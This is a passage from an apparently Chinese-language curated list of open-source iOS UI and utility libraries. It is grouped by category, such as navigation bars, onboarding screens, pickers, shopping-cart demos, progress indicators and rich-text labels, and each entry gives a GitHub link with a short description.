* [XTPopView](https://github.com/summerxx27/XTPopView) - 一个易用的带箭头的View, 可以实现类似于微信添加好友那个View的效果 (包含Objective-C和Swift版本).
* [MLMOptionSelectView](https://github.com/MengLiMing/MLMOptionSelectView) - 弹出-选择-展示框.
* [LiquidFloatingActionButton](https://github.com/yoavlt/LiquidFloatingActionButton) - 卫星弹出菜单.
* [HyPopMenuView](https://github.com/wwdc14/HyPopMenuView) - 模仿新浪微博弹出菜单.
* [DOPScrollableActionSheet](https://github.com/mrhyh/DOPScrollableActionSheet) - Multi-row scrollable action sheet.
* [DropDownMenu](https://github.com/MartinLi841538513/DropDownMenu) - 仿美团下拉菜单，二级菜单.
#### 状态栏@
* [MTStatusBarOverlay](https://github.com/myell0w/MTStatusBarOverlay) - MTStatusBarOverlay 是一个定制的 iOS 状态栏，用于覆盖系统默认的状态栏，类似 Reeder, Evernote and Google Mobile App。支持两种点击动作：1. 当用户点击状态栏时，状态栏会收缩，仅仅遮盖住状态栏右方的电池图标；2. 当用户点击状态栏时，一个有详细信息的视图会从系统状态栏中下拉出现.
#### 导航栏@
* [WRNavigationBar](https://github.com/wangrui460/WRNavigationBar) - 超简单！！！ 一行代码设置状态栏、导航栏按钮、标题、颜色、透明度，移动等.
* [AMScrollingNavbar](https://github.com/andreamazz/AMScrollingNavbar) - 一个可以上拉隐藏导航栏和下拉显示导航栏的框架.
* [JTNavigationController](https://github.com/JNTian/JTNavigationController) - 一个拥有更平滑的navigationBar切换动画的NavigationController.
* [NavigationController](https://github.com/Roxasora/RxWebViewController) - 实现类似微信的 webView 导航效果，包括进度条，左滑返回上个网页或者直接关闭，就像 UINavigationController.
* [LTNavigationBar](https://github.com/ltebean/LTNavigationBar) - 叠。[实现教程](http://tech.glowing.com/cn/change-uinavigationbar-backgroundcolor-dynamically/).
* [LSNavigationBarTransition](https://github.com/lsmakethebest/LSNavigationBarTransition) - 导航栏背景色可以统一设置，每一个控制器导航栏背景色还可以自己单独设置不影响统一设置的界面，采用自定义交互动画实现淘宝，京东等软件当下最流行的导航控制器效果，比其他实现方式每一个控制器都包装一个导航控制器性能更好，使用方法更贴合系统使用方法.
* [HBDNavigationBar](https://github.com/listenzz/HBDNavigationBar) - A custom UINavigationBar for smooth switching between various states, including bar style, bar tint color, background image, background alpha, bar hidden, title text attributes, tint color, shadow hidden...
#### 设置@
* [InAppSettingsKit](https://github.com/futuretap/InAppSettingsKit) - InAppSettingsKit 是一款功能强大的ios设置组件，可以满足各种各样的app设置需求.
#### 引导页@
* [XHLaunchAd](https://github.com/CoderZhuXH/XHLaunchAd) - 🔥The screen opening advertising solutions - 开屏广告、启动广告解决方案-支持静态/动态图片广告,mp4视频广告,全屏/半屏广告、兼容iPhone/iPad.
* [RMParallax](https://github.com/michaelbabiy/RMParallax) - RMParallax是一个app启动页引导开源项目，除了细微的翻页视差效果，描述文本的过渡也非常美观（版本新特性、导航页、引导页).
* [ADo_GuideView](https://github.com/Nododo/ADo_GuideView) - 转动的用户引导页(模仿网易bobo) 因为没有从app包里抓到@3x的图片,建议在iPhone5模拟器运行,保证效果~ （版本新特性、导航页、引导页）.
* [CoreNewFeatureVC](https://github.com/CharlinFeng/CoreNewFeatureVC) - 版本新特性（引导页），1.封装并简化了版本新特性启动视图！2.添加了版本的本地缓存功能，3.集成简单，使用方便，没有耦合度，4.支持block回调（版本新特性、导航页、引导页).
* [MZGuidePages](https://github.com/MachelleZhang/MZGuidePages) - 自己写的通用导航页，可以直接引入工程使用，请参考案例（版本新特性、导航页、引导页）.
* [ABCIntroView](https://github.com/AdamBCo/ABCIntroView) - ABCIntroView是一个易于使用的入门类，让你到达主屏幕之前介绍你的应用程序（版本新特性、导航页、引导页）.
* [EAIntroView](https://github.com/ealeksandrov/EAIntroView) - Highly customizable drop-in solution for introduction views.
* [Onboard](https://github.com/mamaral/Onboard) - 一个iOS框架，轻松创建一个美丽和吸引人的使用引导，只需行代码，非常赞👍👍，同时支持Swift.
* [JMHoledView](https://github.com/leverdeterre/JMHoledView) - 一个不错的使用引导库，使用View实现.
* [TNTutorialManager](https://github.com/Tawa/TNTutorialManager) - 内嵌的App使用引导库.
#### Switch@
* [JTMaterialSwitch](https://github.com/JunichiT/JTMaterialSwitch) - A Customizable Switch UI for iOS, Inspired from Google's Material Design.
* [LLSwitch](https://github.com/lilei644/LLSwitch) - 一个有趣的switch.
* [ViralSwitch](https://github.com/andreamazz/ViralSwitch) - A UISwitch that infects its superview with its tint color.
#### Label@
* [YYAsyncLayer](https://github.com/ibireme/YYAsyncLayer) - iOS utility classes for asynchronous rendering and display.
* [PPCounter](https://github.com/jkpang/PPCounter) - 一款简单实用的数字加减动画,支持UILabel、UIButton显示.
* [MZTimerLabel](https://github.com/mineschan/MZTimerLabel) - 使用UILabel作为倒数计时器或秒表.
#### Search@
* [PYSearch](https://github.com/iphone5solo/PYSearch) - 非常赞 An elegant search controller for iOS.
* [search](https://github.com/mrhyh/search) - 搜索历史标签.
* [CYLSearchViewController](https://github.com/ChenYilong/CYLSearchViewController) - 模仿iPhone短信聊天里的搜索框样式，点击搜索后，搜索框平滑移动到导航栏上.
#### 主题@
* [Hodor](https://github.com/Aufree/Hodor) Hodor 是一套可让你的应用快速支持本地化的解决方案, 允许你在应用内直接更改应用语言而无需退出应用, 类似微信.
* [LEETheme](https://github.com/lixiang1994/LEETheme) - 优雅的主题管理库- 一行代码完成多样式切换.
* [PYTheme](https://github.com/iphone5solo/PYTheme) - PYTheme通过NSObject的分类实现使用简单的主题更换.
* [EasyTheme](https://github.com/JyHu/EasyTheme) - 支持动态主题更换，使用简单。
#### 电影选座@
* [ZFSeatsSelection](https://github.com/ZFbaby/ZFSeatsSelection) - 高仿猫眼电影选座（选票）模块（High imitation opal film seat selection (vote) module）.
* [FVSeatsPicker](https://github.com/Upliver/FVSeatsPicker) - FVSeatsPicker是一个高性能的选座框架，可以直接pod引入，使用时可以直接当做View添加到任何视图控件内部.
#### 瀑布流@
* [CHTCollectionViewWaterfallLayout](https://github.com/chiahsien/CHTCollectionViewWaterfallLayout) - 赞 UICollectionViewLayout的一个子类，尽可能地模仿了UICollectionViewFlowLayout的用法，灵感来源于Pinterest，同时还兼容PSTCollectionView.
#### 菜单@
* [JSDBanTangHomeDemo](https://github.com/JoySeeDog/JSDBanTangHomeDemo) - 真正的仿半塘首页效果，半糖首页核心技术解析.
* [HACursor](https://github.com/HAHAKea/HACursor) - 帮助开发者方便集成导航指示器，用于管理视图页面.
* [ZTPageController](https://github.com/wuzhentao/ZTPageController) - 模仿网易新闻和其他新闻样式做的一个菜单栏，栏中有各自的控制器。 不建议用VC做展示，具体可以参考我最近写的.
* [circle-menu](https://github.com/Ramotion/circle-menu) - 赞 一个不错的旋转点击菜单，类似于遥控器的上下左右中点击样式.
* [KYGooeyMenu](https://github.com/KittenYang/KYGooeyMenu) - KYGooeyMenu 是一个具有 Gooey Effects 带粘性的扇形菜单控件(卫星菜单、path).
* [DCPathButton](https://github.com/Tangdixi/DCPathButton) - Path，4.0的弹出菜单，呼出或者关闭菜单时，多个小图标会分别按照逆时针和顺时针的方向进行滚动.
* [类似美团的下拉选项](http://code4app.com/ios/%E7%B1%BB%E4%BC%BC%E7%BE%8E%E5%9B%A2%E7%9A%84%E4%B8%8B%E6%8B%89%E9%80%89%E9%A1%B9/538606d4933bf06e0a8b496e) - 类似于美团、大众点评的下拉菜单选项，code4app代码，评论代码有瑕疵.
* [KJMenuView](https://github.com/yangKJ/KJMenuView) - 封装整理一些菜单控件、下拉菜单，横向滚动菜单
#### TabBar@
* [DLSlideView](https://github.com/agdsdl/DLSlideView) - DLSlideView对常见的顶部Tab页点击、滑动分页做了封装。 它使用基于ViewController的container特性（而不是scrollview）来管理各个子页面，保留原始的系统消息，没有隐患。 同时内存模型更优于使用scrollview的方式，理论上可以支持无限分页.
* [LLRiseTabBar-iOS](https://github.com/NoCodeNoWife/LLRiseTabBar-iOS) - 仿淘宝闲鱼的TabBar.
* [AxcAE_TabBar](https://github.com/axclogo/AxcAE_TabBar) - AxcAE_TabBar，特效TabBar，以开放为封装核心的TabBar组件，尽量将属性、API等参数全部开放给使用者，能够很方便快速使用的一个TabBar选项卡组件.
#### 小红点@
* [WZLBadge](https://github.com/weng1250/WZLBadge) - 小红点，Badge，支持横竖屏支持iOS5~iOS8允许高度定制化，包括“红点”的背景颜色，文字(字体大小、颜色)，位置等。[说明](http://code.cocoachina.com/detail/316890/%E4%B8%80%E8%A1%8C%E4%BB%A3%E7%A0%81%E5%AE%9E%E7%8E%B0%E5%A4%9A%E9%A3%8E%E6%A0%BC%E7%9A%84%E6%8E%A8%E9%80%81%E5%B0%8F%E7%BA%A2%E7%82%B9/).
* [RKNotificationHub](https://github.com/cwRichardKim/RKNotificationHub) - 快速给 UIView 添加上炫酷的通知图标（Badge、红点、提示）.
* [PPBadgeView](https://github.com/jkpang/PPBadgeView) - iOS自定义Badge组件, 支持UIView、UITabBarItem、UIBarButtonItem ,支持Objective-C/Swift双版本.
#### page@
* [VTMagic](https://github.com/tianzhuo112/VTMagic) - VTMagic is a page container library for iOS.
* [NinaPagerView](https://github.com/RamWire/NinaPagerView) - 一行代码搞定顶部菜单栏。类似网易新闻、今日头条、虎扑看球等app做的一个顶部菜单栏，每栏中有独立的控制器，可自己定制.
* [PageMenu](https://github.com/uacaps/PageMenu) - A paging menu controller built from other view controllers placed inside a scroll view (like Spotify, Windows Phone, Instagram) [⚠️已失去维护]
* [WMPageController](https://github.com/wangmchn/WMPageController) - 一个方便的 pageContrller 的控件，里面还包括滚动视图。
* [MXSegmentedPager](https://github.com/maxep/MXSegmentedPager) - 分页滚动，多个分页的pageController效果.
* [ZJScrollPageView](https://github.com/jasnig/ZJScrollPageView) - 网易新闻, 腾讯视频, 头条 等首页的滑块视图联动的效果OC版的简单方便的集成.
* [HMSegmentedControl](https://github.com/HeshamMegid/HMSegmentedControl) - 一个比较好用的第三方分段控制器.
* [XHTwitterPaggingViewer](https://github.com/xhzengAIB/XHTwitterPaggingViewer) - 类似 Twitter 风格的导航栏页面控制器。
* [SPPage](https://github.com/xichen744/SPPage) - 高性能PageController.
* [SCSafariPageController](https://github.com/stefanceriu/SCSafariPageController) - A page view controller component that reproduces Mobile Safari's tab switching behavior.
* [YNPageViewController](https://github.com/yongyuandouneng/YNPageViewController) - 重构版--特斯拉组件、多页面嵌套滚动、悬停效果、美团、淘宝、京东、微博、腾讯新闻、网易新闻、今日头条等标题滚动视图.
* [XBScrollPageController](https://github.com/changjianfeishui/XBScrollPageController) - iOS 分页控制器，只需传入标题数组和控制器类名数组即可。
#### 轮播@
* [KJBannerView](https://github.com/yangKJ/KJBannerViewDemo) - 轮播图Banner - 无任何第三方依赖、轻量级组件 支持缩放、自带缓存加载 支持自定义继承、定制特定样式 支持网络GIF播放和网络图片和本地图片混合显示轮播 支持在Storyboard和Xib中创建并配置其属性
* [SGPagingView](https://github.com/kingsic/SGPagingView) - A powerful and easy to use segment control (美团、淘宝、京东、微博、腾讯、网易、今日头条等标题滚动视图).
* [iCarousel](https://github.com/nicklockwood/iCarousel) - 非常赞 作者是英国 Charcoal Design 公司的创始人, 开源领域的贡献颇为卓著, 这个项目就是其中之一, 这是一款可以在 iOS 上实现旋转木马视图切换效果的第三方控件, 并提供多种切换效果。是一个使用简单、高度自定义的多类型视图切换的控件，支持iOS/Mac OS、ARC & Thread Safety; A simple, highly customisable, data-driven 3D carousel for iOS and Mac OS
* [SDCycleScrollView](https://github.com/gsdios/SDCycleScrollView) - 无限循环自动图片轮播器(一步设置即可使用).
* [HYBLoopScrollView](https://github.com/CoderJackyHuang/HYBLoopScrollView) - 一行代码接入轮播组件，自带图片下载、缓存相关功能，无任何第三方依赖、轻量级组件.
#### 选择器@
* [ActionSheetPicker-3.0](https://github.com/skywinder/ActionSheetPicker-3.0) - Quickly reproduce the dropdown UIPickerView / ActionSheet functionality on iOS.
* [STPickerView](https://github.com/STShenZhaoliang/STPickerView) - 一个多功能的选择器,有城市选择，日期选择和单数组源自定的功能，方便大家的使用,低耦合,易扩展.
* [ASDayPicker](http://code.cocoachina.com/detail/226543) - 适用于iOS (iPhone)的日期选择器(时间选择器)，类似于Calendar app的周视图.
* [HSDatePickerViewController](https://github.com/EmilYo/HSDatePickerViewController) - 带有Dropbox Mailbox感觉的时间日期选择器(时间选择器)。启动是背景被模糊化。界面也是主流的扁平化风格.
* [HZQDatePickerView](https://github.com/huzhiqin/HZQDatePickerView) - 自定义时间选择器(日期选择器)，包括开始日期和结束日期两种类型.
* [CFCityPickerVC](https://github.com/CharlinFeng/CFCityPickerVC) - 城市选取控制器.
* [YMCitySelect](https://github.com/mrhyh/YMCitySelect) - 重量级城市选择框架，类似美团、猫眼电影、美团外卖、百度外卖、百度糯米等团购类app城市选择界面.
* [JFCitySelector](https://github.com/zhifenx/JFCitySelector) -（仿美团）简单好用的城市选择器，三行代码搞定.
* [PGDatePicker](https://github.com/xiaozhuxiong121/PGDatePicker) - 日期选择器，支持年、年月、年月日、年月日时分、年月日时分秒、时分、时分秒、月日周 时分等.
* [UsefulPickerView](https://github.com/jasnig/UsefulPickerView) - 可以简单快速实现点击TextField或者按钮弹出单列, 多列, 多列关联,城市选择, 日期选择的pickerView.
#### 购物车@
* [ShoppingCartExample](https://github.com/gbaldera/ShoppingCartExample) - 购物车最多star demo.
* [shoppingCart1](https://github.com/yhangeline/shoppingCart) - 仿美团购物车效果。
* [ZFShoppingCart](https://github.com/WZF-Fei/ZFShoppingCart) - 仿照美团外卖加入购物车的动态效果.
* [shoppingCart2](https://github.com/spxvszero/ShoppingCart) - 一个购物车demo，包含购物车动画效果、购物车多选、删除、编辑等功能.
* [shoppingCart-demo](https://github.com/DrYrw/shoppingCart-demo) - 一个简单的购物车功能实现demo.
* [iOS_oShoppingCart_Demo](https://github.com/ZyZwei/iOS_oShoppingCart_Demo) - 简单实现购物车常见的筛选功能.
* [XNQShoppingTrolley](https://github.com/342261733/XNQShoppingTrolley) - 购物车功能 基本功能仿照淘宝的购物车.
* [ShoppingDemo](https://github.com/Zhangjingwang1993/ShoppingDemo) - iOS仿美团外卖饿了吗App点餐动画,购物车.
* [shopCarDemobyCX](http://code.cocoachina.com/view/129430) - shopCarDemobyCX一个简易购物车效果，最重要的是可以分单结算，分单个商品结算，代理是主要技术.
* [MVVM KVO购物车](http://code.cocoachina.com/view/128713) - MVVM KVO 购物车(一处计算总价钱).
* [CartDemo](https://github.com/LQQZYY/CartDemo) - CartDemo比较完整的购物车界面及逻辑,商品展示,多选,单选,全选及滑动删除,价格计算.
* [shopCartDemo](https://github.com/wangluhui/shopCartDemo) - 购物车Demo.
* [ShoppingCartDemo](https://github.com/Andy0570/ShoppingCartDemo) - iOS 中的购物车页面示例。
#### 按钮@
* [TORoundedButton](https://github.com/TimOliver/TORoundedButton) - A high-performance button control with rounded corners for iOS.
* [DownloadButton](https://github.com/PavelKatunin/DownloadButton) - Customizable App Store style download button.
* [PPNumberButton](https://github.com/jkpang/PPNumberButton) - 高仿京东淘宝商品数量的加减按钮,可定制程度较高,使用简单.
#### 类3D@
* [SphereView](https://github.com/heroims/SphereView) - 球形3D 标签 类似网易订阅 可放大 缩小 滑动 点击自动旋转.
#### 进度@
* [NVActivityIndicatorView](https://github.com/ninjaprox/NVActivityIndicatorView) - loading 进度条动画，有20-30多种，非常👍👍👍 .
* [DGActivityIndicatorView](https://github.com/gontovnik/DGActivityIndicatorView) - DGActivityIndicatorView is a great way to make loading spinners in your application look nicer. It contains 32 different indicator view styles.
* [M13ProgressSuite](https://github.com/Marxon13/M13ProgressSuite) - 含有许多工具套件，以在iOS上显示进度信息.
* [YLProgressBar](https://github.com/yannickl/YLProgressBar) - UIProgressView replacement with an highly and fully customizable animated progress bar in pure Core Graphics.
* [NJKWebViewProgress](https://github.com/ninjinkun/NJKWebViewProgress) - 很赞 一个 UIWebView 的进度条接口库,UIWebView 本身是不提供进度条的。
* [UAProgressView](https://github.com/UrbanApps/UAProgressView) - 很赞 的一个进度指示View.
* [AwesomeMenu](https://github.com/levey/AwesomeMenu) - 最多人用的Path菜单.
* [ZFProgressView](https://github.com/WZF-Fei/ZFProgressView) - A simple digit progress view.（version1.3 使用GCD定时器代替NSTimer,避免内存泄露问题).
* [WaveLoadingView](https://github.com/liuzhiyi1992/WaveLoadingView) - iOS 唯一完美的波浪进度加载指示器，[实现说明](http://zyden.vicp.cc/waveloadingindicator/).
* [JZMultiChoicesCircleButton](https://github.com/JustinFincher/JZMultiChoicesCircleButton) - 三维多选按钮.
* [ASProgressPopUpView](https://github.com/alskipp/ASProgressPopUpView) - 弹出的进度条显示进度.
* [CircularProgressControl](https://github.com/carantes/CircularProgressControl) - Circular Progress Control using CAShapeLayer ，环形进度控制条.
* [SDProgressView](https://github.com/gsdios/SDProgressView) - 简便美观的进度指示器，此系列共有六种样式的进度指示器.
* [LoopProgressDemo](https://github.com/saitjr/STLoopProgressView) - 环形渐变进度条，[环形渐变进度条实现](http://www.superqq.com/blog/2015/08/12/realization-circular-gradient-progress/).
* [MDCSwipeToChoose](https://github.com/modocache/MDCSwipeToChoose) - MDCSwipeToChoose可简单地添加滑动手势来调用UIView，并使用该行为提供了一个组件以创建类似Tinder app的like或者dislike界面的轻扫。基于轻扫的方向，你可以决定执行什么样的行为，并且你可以自定义文本颜色和图片。该项目适用于教学用的抽认卡、图片查看器以及其他等.
* [MediumScrollFullScreen](https://github.com/pixyzehn/MediumScrollFullScreen) - Medium的可扩展滚动页面，上下滚动时，全屏显示内容，并自然消隐上下菜单。由此项目感知，作者是一位很注重细节的开发者，他的另外[几个菜单类项目](https://github.com/pixyzehn)也都不错，值得参考，比如：PathMenu, MediumMenu 等.
* [today extension](http://adad184.com/2014/10/29/2014-10-29-how-to-setup-today-extension-programmatically/) - 用纯代码构建一个Widget(today extension).
* [ImagePickerSheetController](https://github.com/larcus94/ImagePickerSheetController) - 图片或视频选择器（可多选）组件及其示例项目.
* [ImagePickerSheet](https://github.com/larcus94/ImagePickerSheetController) - 图片或视频选择器（可多选）组件及其示例项目.
* [BLEProgressView](https://github.com/blueeee/BLEProgressView) - 使用pop实现动画的进度条.
* [ZZCircleProgress](https://github.com/zhouxing5311/ZZCircleProgress) - draw rect实现的圆形进度条。可以使用部分圆弧当做整个进度条，并可以随意设置起始角度及减少的圆弧角度大小.
* [BubbleTransition](https://github.com/andreamazz/BubbleTransition) - 以气泡膨胀和缩小的动画效果来显示和移除 controller，Uber的就是这种取消操作的方式.
* [KYFloatingBubble](https://github.com/KittenYang/KYFloatingBubble) - 类似iOS7中Game Center浮动气泡的效果.
* [DKNightVersion](https://github.com/Draveness/DKNightVersion) - DKNightVersion 是一个支持夜间模式切换的框架.
* [EasyUIControl](https://github.com/sx1989827/EasyUIControl) - 一个可以简化界面ui的控件框架.
* [QQBtn](https://github.com/ZhongTaoTian/QQBtn) - 仿QQ未读消息弹性按钮动画，达到和手机QQ未读信息一样的动画效果，效果基本实现.
* [TZStackView](https://github.com/tomvanzummeren/TZStackView) - OS 9 UIStackView 功能模拟实现于 iOS 7/ iOS 8 内.
* [Ruler](https://github.com/nixzhu/Ruler) - 尺子.
* [HUMSlider](https://github.com/justhum/HUMSlider) - HUMSlider是一款能够自动显示刻度记号的滑竿，滑动到某处，该处的刻度会自动上升，两边还能配置图像。支持代码或storyboard中实现.
* [3DTouchDemo](https://github.com/luzefeng/3DTouchDemo) - 详细介绍了每个参数的含义和3Dtouch的入口，保证包学包会.
* [3DTouchSample](https://github.com/RichardLeung/3DTouchSample) - 3D-Touch的功能分为两个部分：Shortcut和Preview.
* [SBShortcutMenuSimulator](https://github.com/DeskConnect/SBShortcutMenuSimulator) - 教你如何在模拟器上测试 3D Touch 功能.
* [仿LOL滚动视图](http://code.cocoachina.com/view/128287) - 仿LOL滚动视图.
* [答题选择切换页](http://code.cocoachina.com/view/128281) - 将scrollview和tableview封装在一起，在初始化的时候简单的将数据带上，就可以一页一页的左右来回滑动.
* [SCTrelloNavigation](https://github.com/SergioChan/SCTrelloNavigation) - 类似trello的导航动效控件实现.
* [RGCategoryView](https://github.com/refinemobi/RGCategoryView) - 仿了个苏宁易购的分类页面.
* [VBFPopFlatButton](https://github.com/victorBaro/VBFPopFlatButton) - 通过几条线段实现的非常Q萌的动画按钮效果.
* [LNPopupController](https://github.com/LeoNatan/LNPopupController) - AppleMusic式pop up，弹出是页面，可以上下拉动.
* [DGRunkeeperSwitch](https://github.com/gontovnik/DGRunkeeperSwitch/) - 动画segment，节选器.
* [DynamicMaskSegmentSwitch](https://github.com/KittenYang/DynamicMaskSegmentSwitch) - 一个简单有趣的 SegmentedControl 节选器.
* [YXFilmSelectView](https://github.com/yixiangboy/YXFilmSelectView) - 仿造时光网选择电影票的UI而开发的一个自定义View.
* [FJTagCollectionView](http://code.cocoachina.com/view/129152) - 标签（适配宽度）.
* [DFTimelineView](https://github.com/anyunzhong/DFTimelineView) - DFTimelineView仿微信朋友圈 时间轴.
* [HYBImageCliped](https://github.com/CoderJackyHuang/HYBImageCliped) - 可给任意继承UIView的控件添加任意多个圆角、可根据颜色生成图片且可带任意个圆角、给UIButton设置不同状态下的图片且可带任意圆角、给UIImageView设置任意图片，支持带圆角或者直接生成圆形.
* [StackViewController](https://github.com/seedco/StackViewController) - 方便 iOS 开发者使用 UIStackView 构建表单或其它静态内容视图.
* [LLBootstrapButton](https://github.com/lilei644/LLBootstrapButton) - Bootstrap 3.0扁平化风格按钮，自带图标，一句代码直接调用.
* [JMRoundedCorner](https://github.com/raozhizhen/JMRoundedCorner) - UIView设置不触发离屏渲染的圆角.
* [KNCirclePercentView](https://github.com/knn90/KNCirclePercentView) - 一个自定义动画的圆形进度View.
* [MetalPetal](https://github.com/MetalPetal/MetalPetal) - A GPU-accelerated image and video processing framework based on Metal.
#### 其他UI@
* [drawablebubble](https://github.com/KittenYang/KYCuteView) - QQ中未读气泡拖拽消失的实现分析[分析文章](http://kittenyang.com/drawablebubble/).
* [YJFavorEmitter](https://github.com/SplashZ/YJFavorEmitter) - 一个非常好用的点赞粒子发射器.
* [BEMCheckBox](https://github.com/Boris-Em/BEMCheckBox) - BEMCheckBox 是一个用于 iOS 应用上构建漂亮, 高度可定制化动画效果的复选框类库, 最低支持到 iOS 7 系统, 有多种不同风格的动画效果可供选择.
* [BFPaperCheckbox](https://github.com/bfeher/BFPaperCheckbox) - iOS Checkboxes inspired by Google's Paper Material Design.
* [GMenuController](https://github.com/GIKICoder/GMenuController) - 具有和UIMenuController一致的UI 与交互行为. menuItem可指定target. 可定制化UI.对外API与原生UIMenuController 一致.
#### 工具@
#### 综合@
* [sstoolkit](https://github.com/soffes/sstoolkit) - 一个不错的工具包，提供各种比如编码、加密、字符串处理等等东西，还提供了一些不错的自定义控件，并且文档非常齐全
* [KJEmitterView](https://github.com/yangKJ/KJEmitterView) - 粒子效果、扩展、好用的工具等等，Button图文混排、点击事件封装、扩大点击域，手势封装、圆角渐变、Xib属性、TextView输入框扩展、限制字数，Image图片加工处理、滤镜渲染、泛洪算法_KJMacros常用宏定义，Label富文本，自定义笑脸Switch，自定义动画选中控件，Alert控件，数组和字典防崩处理，数组算法处理等等等
#### 提醒用户评分@
* [iRate](https://github.com/nicklockwood/iRate) - 问卷调查.
* [UAAppReviewManager](https://github.com/urbanapps/UAAppReviewManager) - 一个轻量级的，易用的App评分提醒库.
* [appirater](https://github.com/arashpayan/appirater) - 用于提醒用户给你的 APP 打分的工具.
#### 压缩解压@
* [ZipArchive](https://github.com/ZipArchive/ZipArchive) - 适用iOS和OS X的解压库.
#### Category@
* [FlatUIKit](https://github.com/Grouper/FlatUIKit) - 针对Foundation的扩展,非常👍 A collection of awesome flat UI components for iOS.
* [JKCategories](https://github.com/shaojiankui/JKCategories) - 非常棒👍👍👍 的分类集合，包含Foundation,UIKit,CoreData,QuartzCore,CoreLocation,MapKit Etc等等.
* [UIScrollView-InfiniteScroll](https://github.com/pronebird/UIScrollView-InfiniteScroll) - 滚动视图无限滚动分类 UIScrollView infinite scroll category.
* [LTNavigationBar](https://github.com/ltebean/LTNavigationBar) - 允许改变导航栏appearance dynamically的分类 UINavigationBar Category which allows you to change its appearance dynamically.
* [BlocksKit](https://github.com/zwaldowski/BlocksKit) - block框架，为 OC 常用类提供了强大的 Block 语法支持，使得编写 OC 代码变得舒适、快速、优雅。 The Objective-C block utilities you always wish you had.
* [YYCategories](https://github.com/ibireme/YYCategories) - 功能丰富的 Category 类型工具库.
* [BFKit](https://github.com/FabrizioBrancati/BFKit) - 一个非常不错的分类集合工具库，大幅提高开发效率.同时包含Swift版本.
* [NullSafe](https://github.com/nicklockwood/NullSafe) - NullSafe is a simple category on NSNull that returns nil for any unrecognised messages instead of throwing an exception pod 'NullSafe', '~> 1.2.2' 用于防止项目中数组为空时越界访问崩溃.
* [iOS-Categories](https://github.com/shaojiankui/IOS-Categories) - 收集了许多有助于开发的iOS扩展,各种category分类.
* [cocoacats](http://cocoacats.com/) -【分类汇总】里面收集了 iOS 中常用的分类文件，一直在更新.
* [libextobjc](https://github.com/jspahrsummers/libextobjc - Libextobjc是一个非常强大的Objective-C库的扩展,为Objective-C提供诸如Safe categories、Concrete protocols、简单和安全的key paths以及简单使用block中的弱变量等功能。libextobjc非常模块化，只需要一个或者两个依赖就能使用大部分类和模块.
* [SFJumpToLine](https://github.com/sferrini/SFJumpToLine) - Xcode plugin that moves the instruction pointer to the selected line.
* [DTFoundation](https://github.com/Cocoanetics/DTFoundation) - 标准工具类和分类 - Standard toolset classes and categories.
#### 代码片@
* [snippets](https://github.com/Xcode-Snippets/Objective-C) - A few code snippets from my Xcode arsenal.
#### Github相关@
* [http://shields.io/](http://shields.io/) - 开源项目的徽章.
* [Classroom for GitHub](https://github.com/education/classroom) - Classroom for GitHub 可以自动创建代码仓库和访问控制，可以让老师很方便的在 GitHub 上发布代码任务和收集作业.
* [Hexo](https://github.com/hexojs/hexo) - 通过Github Pages写博客的Node.js框架.
* [octicons](https://github.com/github/octicons) - GitHub的 图标字体.
* [markdown-editor](https://github.com/jbt/markdown-editor) - GitHub味道的markdown编辑器.
* [backup-utils](https://github.com/github/backup-utils) - backup-utils 是 Github 企业备份工具，它包括一些备份和恢复工具。这些备份工具实现了多项用于备份主机的高级功能，还原功能也已经包括在 GitHub Enterprise 中.
* [gistblog](https://github.com/jazzychad/gistblog) -gistblog 是一个简单的 Node.js 应用，使用 Github 的认证系统和 gist 提供的后台存储来实现博客的功能。可使用 Markdown 编写博客.
* [openspace](https://github.com/EverythingMe/openspace) -Openspace 是一个用来将你在 Github 上的项目汇总显示在一个网页里的应用.
* [primer](https://github.com/primer/primer) -Primer 是 Github 工具包，用于 Github 前端设计.
* [https://gitter.im](https://gitter.im) - 专门给GitHub开源项目或者开源作者提供的聊天软件.
* [boennemann - badges](https://github.com/boennemann/badges) - 各种徽章.
* [GitTorrent](https://github.com/cjb/GitTorrent) - The Decentralization of GitHub.
#### 键盘@
* [IQKeyboardManager](https://github.com/hackiftekhar/IQKeyboardManager) - 处理键盘事件强大的库，有OC和Swift版本，纯代码、Storyboard和Xib都适用.
* [YYKeyboardManager](https://github.com/ibireme/YYKeyboardManager) - iOS 键盘监听管理工具.
#### 分发@
* [TestFlight.Top](https://testflight.top/) - 60秒制作TestFlight内测App分发页，用户直接下载测试.
#### 文本@
#### 文本输入@
* [GrowingTextView](https://github.com/HansPinckaers/GrowingTextView) - 一个非常棒的UITextView库.
* [JVFloatLabeledTextField](https://github.com/jverdi/JVFloatLabeledTextField) - 作者是 Thumb Labs 的联合创始人, JVFloatLabeledTextField 是 UITextField 的子类, 主要实现输入框标签浮动效果, 创作灵感来自 Dribbble, 已出现多个移植版本 UITextField subclass with floating labels - inspired by Matt D. Smith's design: http://dribbble.com/shots/1254439--GIF-Mobile-Form-Interaction?list=users
* [GBigbang](https://github.com/GIKICoder/GBigbang) - 一个分词功能组件/大爆炸/tagFlowView.
* [PowerMode](https://github.com/younatics/PowerMode) - 一个很酷的文本输入框.
* [Stryng](https://github.com/BalestraPatrick/Stryng) - Swift strings taken to a whole new syntax level.
* [CMInputView](https://github.com/CrabMen/CMInputView) - UITextView输入时高度自适应.
* [WCLPassWordView](https://github.com/631106979/WCLPassWordView) - 实现类似微信和支付宝的密码输入框.
#### 富文本@
* [YYText](https://github.com/ibireme/YYText) - 功能强大的 iOS 富文本框架.
* [SJAttributesFactory](https://github.com/changsanjiang/SJAttributesFactory) - 富文本编辑工厂, 让代码更清晰. 文本编辑, 高度计算等等... 简便操作, 让你爽到爆.
* [Shimmer](https://github.com/facebook/Shimmer) - BlingBling闪光效果，酷炫的Label的效果，可以用于加载等待提示,可以让view展示波光粼粼的效果.
* [GRichLabel ](https://github.com/GIKICoder/GRichLabel) - 支持选择复制.支持自定义选择弹出menu的富文本Label.内部使用YYAsyncLayer提供异步绘制任务.
* [TFHpple ](https://github.com/topfunky/hpple) - TFHpple解析html的轻量级框架.
* [RTLabel](https://github.com/honcheng/RTLabel) - RTLabel 基于UILabel类的拓展,能够支持Html标记的富文本显示，它是基于Core Text,因此也支持Core Text上的一些东西。32位，很久没有更新了.
* [RTLabel](https://github.com/bingxue314159/RTLabel) - 富文本，RTLabel支持64位.
* [DTCoreText](https://github.com/Cocoanetics/DTCoreText) - 可以解析HTML与CSS最终用CoreText绘制出来，通常用于在一些需要显示富文本的场景下代替低性能的UIWebView。[DTCoreText源码解析](http://blog.cnbang.net/tech/2630/).
* [TYAttributedLabel](https://github.com/12207480/TYAttributedLabel) - TYAttributedLabel。 简单易用的属性文本控件(无需了解CoreText)，支持富文本，图文混排显示，支持添加链接，image和UIView控件，支持自定义排版显示.
